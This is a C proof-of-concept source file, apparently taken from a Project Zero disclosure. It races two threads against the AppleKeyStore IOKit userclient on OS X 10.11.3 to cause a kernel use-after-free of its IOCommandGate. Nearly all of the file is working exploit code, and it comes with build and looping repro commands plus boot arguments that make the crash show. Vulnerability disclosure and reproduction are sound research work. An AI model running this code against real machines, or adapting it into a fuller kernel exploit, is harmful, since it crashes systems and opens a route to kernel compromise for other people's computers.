144 lines
No EOL
3.3 KiB
C
144 lines
No EOL
3.3 KiB
C
/*
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=710
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The AppleKeyStore userclient uses an IOCommandGate to serialize access to its userclient methods, however
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by racing two threads, one of which closes the userclient (which frees the IOCommandGate)
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and one of which tries to make an external method call we can cause a use-after-free of the IOCommandGate.
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Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
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*/
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//ianbeer
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//build: clang -o applekeystore_race applekeystore_race.c -framework IOKit -lpthread
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//repro: while true; do ./applekeystore_race; done
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// try adding -zc -zp gzalloc_min=80 gzalloc_max=120 to your boot args to crash on the use after free
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/*
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OS X Kernel use-after-free in AppleKeyStore
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The AppleKeyStore userclient uses an IOCommandGate to serialize access to its userclient methods, however
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by racing two threads, one of which closes the userclient (which frees the IOCommandGate)
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and one of which tries to make an external method call we can cause a use-after-free of the IOCommandGate.
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Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <IOKit/IOKitLib.h>
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#include <libkern/OSAtomic.h>
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#include <mach/thread_act.h>
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#include <pthread.h>
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#include <mach/mach.h>
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#include <mach/vm_map.h>
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#include <sys/mman.h>
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unsigned int selector = 0;
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uint64_t inputScalar[16];
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size_t inputScalarCnt = 0;
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uint8_t inputStruct[40960];
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size_t inputStructCnt = 0;
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uint64_t outputScalar[16] = {0};
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uint32_t outputScalarCnt = 0;
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char outputStruct[40960] = {0};
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size_t outputStructCnt = 0;
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io_connect_t global_conn = MACH_PORT_NULL;
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void set_params(io_connect_t conn){
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global_conn = conn;
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selector = 0;
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inputScalarCnt = 4;
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inputStructCnt = 0;
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outputScalarCnt = 16;
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outputStructCnt = 40960;
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}
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void make_iokit_call(){
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IOConnectCallMethod(
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global_conn,
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selector,
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inputScalar,
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inputScalarCnt,
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inputStruct,
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inputStructCnt,
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outputScalar,
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&outputScalarCnt,
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outputStruct,
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&outputStructCnt);
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}
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OSSpinLock lock = OS_SPINLOCK_INIT;
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void* thread_func(void* arg){
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int got_it = 0;
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while (!got_it) {
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got_it = OSSpinLockTry(&lock);
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}
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make_iokit_call();
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return NULL;
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}
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mach_port_t get_user_client(char* name, int type) {
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kern_return_t err;
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CFMutableDictionaryRef matching = IOServiceMatching(name);
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if(!matching){
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printf("unable to create service matching dictionary\n");
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return 0;
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}
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io_iterator_t iterator;
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err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
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if (err != KERN_SUCCESS){
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printf("no matches\n");
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return 0;
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}
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io_service_t service = IOIteratorNext(iterator);
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if (service == IO_OBJECT_NULL){
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printf("unable to find service\n");
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return 0;
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}
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printf("got service: %x\n", service);
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io_connect_t conn = MACH_PORT_NULL;
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err = IOServiceOpen(service, mach_task_self(), type, &conn);
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if (err != KERN_SUCCESS){
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printf("unable to get user client connection\n");
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return 0;
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}
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printf("got userclient connection: %x\n", conn);
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return conn;
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}
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int main(int argc, char** argv){
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OSSpinLockLock(&lock);
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pthread_t t;
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pthread_create(&t, NULL, thread_func, NULL);
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mach_port_t conn = get_user_client("AppleKeyStore", 0);
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set_params(conn);
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OSSpinLockUnlock(&lock);
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IOServiceClose(conn);
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return 0;
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} |